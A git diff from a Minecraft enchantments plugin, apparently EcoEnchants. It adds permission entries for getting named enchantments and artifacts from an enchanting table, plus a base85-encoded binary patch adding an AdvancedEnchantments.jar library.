ecoenchants.fromtable.sparkleartifact: + description: Allows getting sparkle artifact from an enchanting table + default: true + ecoenchants.fromtable.lavaartifact: + description: Allows getting lava artifact from an enchanting table + default: true + ecoenchants.fromtable.dragonartifact: + description: Allows getting dragon artifact from an enchanting table + default: true + ecoenchants.fromtable.enchantmentartifact: + description: Allows getting enchantment artifact from an enchanting table + default: true + ecoenchants.fromtable.smokeartifact: + description: Allows getting smoke artifact from an enchanting table + default: true + ecoenchants.fromtable.fireartifact: + description: Allows getting fire artifact from an enchanting table + default: true + ecoenchants.fromtable.emeraldartifact: + description: Allows getting emerald artifact from an enchanting table + default: true + ecoenchants.fromtable.netherartifact: + description: Allows getting nether artifact from an enchanting table + default: true + ecoenchants.fromtable.endartifact: + description: Allows getting end artifact from an enchanting table + default: true + ecoenchants.fromtable.waterartifact: + description: Allows getting water artifact from an enchanting table + default: true + ecoenchants.fromtable.totemartifact: + description: Allows getting totem artifact from an enchanting table + default: true + ecoenchants.fromtable.redstoneartifact: + description: Allows getting redstone artifact from an enchanting table + default: true + ecoenchants.fromtable.zapartifact: + description: Allows getting zap artifact from an enchanting table + default: true + ecoenchants.fromtable.musicartifact: + description: Allows getting music artifact from an enchanting table + default: true + ecoenchants.fromtable.snowartifact: + description: Allows getting snow artifact from an enchanting table + default: true + ecoenchants.fromtable.witchartifact: + description: Allows getting witch artifact from an enchanting table + default: true + ecoenchants.fromtable.honeyartifact: + description: Allows getting honey artifact from an enchanting table + default: true + ecoenchants.fromtable.damageartifact: + description: Allows getting damage artifact from an enchanting table + default: true + ecoenchants.fromtable.cloudsartifact: + description: Allows getting clouds artifact from an enchanting table + default: true + ecoenchants.fromtable.magicartifact: + description: Allows getting magic artifact from an enchanting table + default: true + ecoenchants.fromtable.zeus: + description: Allows getting zeus from an enchanting table + default: true + ecoenchants.fromtable.kinetic: + description: Allows getting kinetic from an enchanting table + default: true + ecoenchants.fromtable.fireaffinity: + description: Allows getting fire affinity from an enchanting table + default: true + ecoenchants.fromtable.parasitic: + description: Allows getting parasitic from an enchanting table + default: true + ecoenchants.fromtable.parry: + description: Allows getting parry from an enchanting table + default: true + ecoenchants.fromtable.hook: + description: Allows getting hook from an enchanting table + default: true + ecoenchants.fromtable.bleed: + description: Allows getting bleed from an enchanting table + default: true + ecoenchants.fromtable.weakening: + description: Allows getting weakening from an enchanting table + default: true + ecoenchants.fromtable.oxygenate: + description: Allows getting oxygenate from an enchanting table + default: true + ecoenchants.fromtable.wateraspect: + description: Allows getting water aspect from an enchanting table + default: true + ecoenchants.fromtable.stamina: + description: Allows getting stamina from an enchanting table + default: true + ecoenchants.fromtable.collateral: + description: Allows getting collateral from an enchanting table + default: true + ecoenchants.fromtable.paladin: + description: Allows getting paladin from an enchanting table + default: true + ecoenchants.fromtable.hungercurse: + description: Allows getting curse of hunger from an enchanting table + default: true + ecoenchants.fromtable.serrated: + description: Allows getting serrated from an enchanting table + default: true + ecoenchants.fromtable.bladed: + description: Allows getting bladed from an enchanting table + default: true + ecoenchants.fromtable.inferno: + description: Allows getting inferno from an enchanting table + default: true + ecoenchants.fromtable.stab: + description: Allows getting stab from an enchanting table + default: true + ecoenchants.fromtable.tornado: + description: Allows getting tornado from an enchanting table + default: true + ecoenchants.fromtable.extract: + description: Allows getting extract from an enchanting table + default: true + ecoenchants.fromtable.dustartifact: + description: Allows getting dust artifact from an enchanting table + default: true + ecoenchants.fromtable.magmaartifact: + description: Allows getting magma artifact from an enchanting table + default: true + ecoenchants.fromtable.inkartifact: + description: Allows getting ink artifact from an enchanting table + default: true + ecoenchants.fromtable.aerial: + description: Allows getting aerial from an enchanting table + default: true + ecoenchants.fromtable.famine: + description: Allows getting famine from an enchanting table + default: true + ecoenchants.fromtable.annihilate: + description: Allows getting annihilate from an enchanting table + default: true + ecoenchants.fromtable.radiance: + description: Allows getting radiance from an enchanting table + default: true + ecoenchants.fromtable.horde: + description: Allows getting horde from an enchanting table + default: true + ecoenchants.fromtable.vein: + description: Allows getting vein from an enchanting table + default: true + ecoenchants.fromtable.iceshot: + description: Allows getting iceshot from an enchanting table + default: true + ecoenchants.fromtable.puncture: + description: Allows getting puncture from an enchanting table + default: true + ecoenchants.fromtable.shockwave: + description: Allows getting shockwave from an enchanting table + default: true + ecoenchants.fromtable.volatile: + description: Allows getting volatile from an enchanting table + default: true + ecoenchants.fromtable.instantaneous: + description: Allows getting instantaneous from an enchanting table + default: true + ecoenchants.fromtable.freerunner: + description: Allows getting freerunner from an enchanting table + default: true + ecoenchants.fromtable.bolt: + description: Allows getting bolt from an enchanting table + default: true + ecoenchants.fromtable.dullness: + description: Allows getting dullness from an enchanting table + default: true + ecoenchants.fromtable.ignite: + description: Allows getting ignite from an enchanting table + default: true + ecoenchants.fromtable.cleave: + description: Allows getting cleave from an enchanting table + default: true + ecoenchants.fromtable.carve: + description: Allows getting carve from an enchanting table + default: true + ecoenchants.fromtable.toxic: + description: Allows getting toxic from an enchanting table + default: true + ecoenchants.fromtable.wateraffinity: + description: Allows getting water affinity from an enchanting table + default: true + ecoenchants.fromtable.forcefield: + description: Allows getting forcefield from an enchanting table + default: true + ecoenchants.fromtable.sycophant: + description: Allows getting sycophant from an enchanting table + default: true + ecoenchants.fromtable.chopless: + description: Allows getting chopless from an enchanting table + default: true + ecoenchants.fromtable.greenthumb: + description: Allows getting green thumb from an enchanting table + default: true + ecoenchants.fromtable.spiked: + description: Allows getting spiked from an enchanting table + default: true + ecoenchants.fromtable.harpoon: + description: Allows getting harpoon from an enchanting table + default: true + ecoenchants.fromtable.reel: + description: Allows getting reel from an enchanting table + default: true + ecoenchants.fromtable.shotassist: + description: Allows getting shot assist from an enchanting table + default: true + ecoenchants.fromtable.frozen: + description: Allows getting frozen from an enchanting table + default: true + ecoenchants.fromtable.disappear: + description: Allows getting disappear from an enchanting table + default: true + ecoenchants.fromtable.harmlessnesscurse: + description: Allows getting curse of harmlessness from an enchanting table + default: true + ecoenchants.fromtable.fury: + description: Allows getting fury from an enchanting table + default: true + ecoenchants.fromtable.levitate: + description: Allows getting levitate from an enchanting table + default: true + ecoenchants.fromtable.breaklessnesscurse: + description: Allows getting curse of breaklessness from an enchanting table + default: true + ecoenchants.fromtable.decaycurse: + description: Allows getting curse of decay from an enchanting table + default: true + ecoenchants.fromtable.misfortunecurse: + description: Allows getting curse of misfortune from an enchanting table + default: true + ecoenchants.fromtable.venom: + description: Allows getting venom from an enchanting table + default: true + ecoenchants.fromtable.cranial: + description: Allows getting cranial from an enchanting table + default: true + ecoenchants.fromtable.aquatic: + description: Allows getting aquatic from an enchanting table + default: true + ecoenchants.fromtable.buckshot: + description: Allows getting buckshot from an enchanting table + default: true + ecoenchants.fromtable.diverse: + description: Allows getting diverse from an enchanting table + default: true + ecoenchants.fromtable.lifesteal: + description: Allows getting life steal from an enchanting table + default: true \ No newline at end of file diff --git a/lib/AdvancedEnchantments.jar b/lib/AdvancedEnchantments.jar new file mode 100644 index 0000000000000000000000000000000000000000..73a09db899dbdd1294debe7dd3ef05cea9e160d8 GIT binary patch literal 18908 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 